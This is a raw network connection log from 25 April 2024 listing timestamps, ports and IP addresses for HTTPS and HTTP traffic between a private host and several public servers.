Apr 25, 2024 15:30:14.050995111 CEST	49735	443	192.168.2.16	162.247.243.39
Apr 25, 2024 15:30:14.051011086 CEST	443	49735	162.247.243.39	192.168.2.16
Apr 25, 2024 15:30:14.095616102 CEST	49743	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.095669985 CEST	443	49743	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.095767021 CEST	49743	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.095967054 CEST	49743	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.095985889 CEST	443	49743	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.106015921 CEST	443	49734	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:14.106040955 CEST	443	49734	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:14.106045961 CEST	443	49734	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:14.106101036 CEST	443	49734	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:14.106157064 CEST	49734	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:14.106199026 CEST	49734	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:14.107683897 CEST	49734	443	192.168.2.16	54.201.220.248
Apr 25, 2024 15:30:14.107697010 CEST	443	49734	54.201.220.248	192.168.2.16
Apr 25, 2024 15:30:14.173343897 CEST	49744	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:14.173379898 CEST	443	49744	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:14.173449993 CEST	49744	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:14.173702002 CEST	49744	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:14.173723936 CEST	443	49744	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:14.224998951 CEST	49745	443	192.168.2.16	44.240.79.212
Apr 25, 2024 15:30:14.225053072 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:14.225141048 CEST	49745	443	192.168.2.16	44.240.79.212
Apr 25, 2024 15:30:14.225297928 CEST	49745	443	192.168.2.16	44.240.79.212
Apr 25, 2024 15:30:14.225331068 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:14.232351065 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.232542038 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.232557058 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.232702017 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.232867956 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.232880116 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.232889891 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.233160973 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.233225107 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.233225107 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.233350039 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.233680964 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.233680964 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.233716965 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.233825922 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.278377056 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.278419971 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.278480053 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.319112062 CEST	443	49743	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.319382906 CEST	49743	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.319405079 CEST	443	49743	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.320420027 CEST	443	49743	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.320494890 CEST	49743	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.320746899 CEST	49743	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.320807934 CEST	443	49743	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.320877075 CEST	49743	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.364120007 CEST	443	49743	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.373281002 CEST	49743	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.373294115 CEST	443	49743	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.411870956 CEST	443	49744	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:14.412132978 CEST	49744	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:14.412147999 CEST	443	49744	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:14.413044930 CEST	443	49744	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:14.413119078 CEST	49744	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:14.413959980 CEST	49744	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:14.414031982 CEST	443	49744	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:14.414103031 CEST	49744	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:14.414113045 CEST	443	49744	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:14.421278000 CEST	49743	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.457660913 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.457719088 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.457751989 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.457767010 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.457793951 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.457843065 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.457854986 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.457873106 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.457923889 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.457935095 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.465375900 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.465440035 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.465451002 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.468272924 CEST	49744	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:14.472855091 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.472915888 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.472925901 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.473061085 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.473125935 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.473198891 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.473239899 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.473263979 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.473310947 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.474056959 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.480663061 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.480726004 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.480737925 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.480756998 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.480787992 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.480812073 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.480829000 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.480865955 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.488478899 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.496309996 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.496371984 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.496387005 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.496432066 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.496469975 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.504272938 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.532500029 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.532562971 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.548289061 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.557545900 CEST	443	49743	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.557704926 CEST	443	49743	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.557754040 CEST	49743	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.558291912 CEST	49743	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.558316946 CEST	443	49743	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.567590952 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.567655087 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.567717075 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.571405888 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.571481943 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.571640968 CEST	49740	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.571670055 CEST	443	49740	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.579281092 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 25, 2024 15:30:14.583462000 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.587018013 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.587044954 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.587065935 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.587097883 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.587131023 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.594677925 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.602431059 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.602457047 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.602488995 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.602505922 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.602545977 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.610079050 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.617805958 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.617858887 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.617870092 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.617886066 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.617929935 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.617935896 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.618016005 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.618063927 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.618201017 CEST	49741	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:14.618215084 CEST	443	49741	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:14.621253967 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.621285915 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.621355057 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.621668100 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.621685028 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.657843113 CEST	443	49744	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:14.657989979 CEST	443	49744	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:14.658046961 CEST	49744	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:14.658462048 CEST	49744	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:14.658474922 CEST	443	49744	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:14.775387049 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:14.775604963 CEST	49745	443	192.168.2.16	44.240.79.212
Apr 25, 2024 15:30:14.775639057 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:14.777153969 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:14.777271986 CEST	49745	443	192.168.2.16	44.240.79.212
Apr 25, 2024 15:30:14.777513027 CEST	49745	443	192.168.2.16	44.240.79.212
Apr 25, 2024 15:30:14.777605057 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:14.777645111 CEST	49745	443	192.168.2.16	44.240.79.212
Apr 25, 2024 15:30:14.818362951 CEST	49745	443	192.168.2.16	44.240.79.212
Apr 25, 2024 15:30:14.818397999 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:14.845643044 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.846028090 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.846051931 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.846402884 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.846714020 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.846805096 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.846849918 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.866292000 CEST	49745	443	192.168.2.16	44.240.79.212
Apr 25, 2024 15:30:14.888127089 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:14.898299932 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:14.958681107 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:14.958717108 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:14.958728075 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:14.958746910 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:14.958818913 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:14.958873987 CEST	49745	443	192.168.2.16	44.240.79.212
Apr 25, 2024 15:30:14.958941936 CEST	49745	443	192.168.2.16	44.240.79.212
Apr 25, 2024 15:30:14.959434032 CEST	49745	443	192.168.2.16	44.240.79.212
Apr 25, 2024 15:30:14.959466934 CEST	443	49745	44.240.79.212	192.168.2.16
Apr 25, 2024 15:30:15.151226044 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.151293039 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.151321888 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.151346922 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.151376963 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.151393890 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.151397943 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.151422024 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.151437998 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.151451111 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.158699036 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.158766031 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.158787966 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.166429996 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.166524887 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.166543007 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.173546076 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.173634052 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.173650980 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.217339993 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.217359066 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.262123108 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.262258053 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.262284994 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.266132116 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.266195059 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.266216040 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.273911953 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.274008989 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.274032116 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.281569958 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.281646967 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.281666994 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.289406061 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.289505959 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.289531946 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.297228098 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.297310114 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.297326088 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.297533989 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.297599077 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.297707081 CEST	49749	443	192.168.2.16	108.177.122.99
Apr 25, 2024 15:30:15.297719955 CEST	443	49749	108.177.122.99	192.168.2.16
Apr 25, 2024 15:30:15.785366058 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 25, 2024 15:30:15.995878935 CEST	49689	80	192.168.2.16	192.229.211.108
Apr 25, 2024 15:30:18.192384958 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 25, 2024 15:30:19.991174936 CEST	49754	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:19.991204023 CEST	443	49754	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:19.991400003 CEST	49754	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:19.993344069 CEST	49754	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:19.993356943 CEST	443	49754	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.226687908 CEST	443	49754	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.227076054 CEST	49754	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.229873896 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:20.229928017 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:20.230050087 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:20.231561899 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:20.231596947 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:20.233851910 CEST	49754	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.233859062 CEST	443	49754	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.234216928 CEST	443	49754	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.270159960 CEST	49754	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.316116095 CEST	443	49754	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.437886000 CEST	443	49754	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.437984943 CEST	443	49754	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.438159943 CEST	49754	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.438244104 CEST	49754	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.438266993 CEST	443	49754	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.438277006 CEST	49754	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.438282967 CEST	443	49754	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.477135897 CEST	49756	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.477179050 CEST	443	49756	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.477324963 CEST	49756	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.477574110 CEST	49756	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.477588892 CEST	443	49756	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.652977943 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:20.653094053 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:20.656169891 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:20.656193018 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:20.656543970 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:20.703331947 CEST	443	49756	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.703449965 CEST	49756	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.704746008 CEST	49756	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.704762936 CEST	443	49756	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.705082893 CEST	443	49756	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.706233025 CEST	49756	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.712271929 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:20.723458052 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:20.752123117 CEST	443	49756	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.768121004 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:20.925038099 CEST	443	49756	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.925132036 CEST	443	49756	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.925208092 CEST	49756	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.926111937 CEST	49756	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.926132917 CEST	443	49756	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:20.926147938 CEST	49756	443	192.168.2.16	23.201.212.130
Apr 25, 2024 15:30:20.926153898 CEST	443	49756	23.201.212.130	192.168.2.16
Apr 25, 2024 15:30:21.049137115 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:21.049165010 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:21.049175024 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:21.049192905 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:21.049201965 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:21.049210072 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:21.049273014 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:21.049307108 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:21.049324036 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:21.049351931 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:21.049391031 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:21.049402952 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:21.049446106 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:21.067325115 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:21.067357063 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:21.067374945 CEST	49755	443	192.168.2.16	13.85.23.86
Apr 25, 2024 15:30:21.067384005 CEST	443	49755	13.85.23.86	192.168.2.16
Apr 25, 2024 15:30:21.401156902 CEST	443	49725	172.253.124.99	192.168.2.16
Apr 25, 2024 15:30:21.401237011 CEST	443	49725	172.253.124.99	192.168.2.16
Apr 25, 2024 15:30:21.401482105 CEST	49725	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:30:21.845921040 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 15:30:22.149324894 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 15:30:22.614300966 CEST	49725	443	192.168.2.16	172.253.124.99
Apr 25, 2024 15:30:22.614342928 CEST	443	49725	172.253.124.99	192.168.2.16
Apr 25, 2024 15:30:22.756325960 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 15:30:22.996335030 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 25, 2024 15:30:23.957318068 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 15:30:24.677028894 CEST	49757	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:24.677073956 CEST	443	49757	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:24.677236080 CEST	49757	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:24.677552938 CEST	49757	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:24.677566051 CEST	443	49757	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:24.905184984 CEST	443	49757	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:24.905546904 CEST	49757	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:24.905606985 CEST	443	49757	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:24.906795979 CEST	443	49757	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:24.907160044 CEST	49757	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:24.907326937 CEST	49757	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:24.907337904 CEST	443	49757	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:24.948118925 CEST	443	49757	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:24.961308002 CEST	49757	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:25.177272081 CEST	443	49757	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:25.177388906 CEST	443	49757	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:25.177452087 CEST	49757	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:25.178281069 CEST	49757	443	192.168.2.16	162.247.243.29
Apr 25, 2024 15:30:25.178297043 CEST	443	49757	162.247.243.29	192.168.2.16
Apr 25, 2024 15:30:26.319519997 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 15:30:26.367291927 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 15:30:26.623318911 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 15:30:27.229414940 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 15:30:28.443386078 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 15:30:30.852376938 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 15:30:31.181334019 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 15:30:32.601459980 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 25, 2024 15:30:34.070482969 CEST	49758	443	192.168.2.16	162.247.243.29
